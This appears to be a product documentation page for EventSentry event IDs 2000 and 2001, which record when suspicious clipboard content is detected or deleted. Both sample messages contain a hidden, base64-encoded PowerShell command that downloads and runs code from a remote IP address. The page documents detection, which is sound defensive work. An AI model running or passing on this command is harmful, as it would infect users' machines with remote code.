System32
Sysmon
Events
Compliance
Validator
TLS/SSL
GeoIP
Tools
EventSentry Events
Source
EventSentry
(2)
Category
Security
(2)
Tags
AppLocker
All AppLocker events
EventSentry
All EventSentry events
Security
All Windows Security events
Sysmon
All Sysmon events
ID
Event Message
2000
A potentially dangerous clipboard content was detected by EventSentray. Clipboard contents: powershell -W Hidden -e aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwA4ADgALgAxADEAOQAuADEANwA1AC4ANQAyADoANQAwADAAMQAvAGcAZQB0AF8AdAB4AHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAEEAUgBTAEkATgBHACkALgBDAG8AbgB0AGUAbgB0AA==
2001
A potentially dangerous clipboard content was detected by EventSentray and deleted. Clipboard contents: powershell -W Hidden -e aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwA4ADgALgAxADEAOQAuADEANwA1AC4ANQAyADoANQAwADAAMQAvAGcAZQB0AF8AdAB4AHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAEEAUgBTAEkATgBHACkALgBDAG8AbgB0AGUAbgB0AA==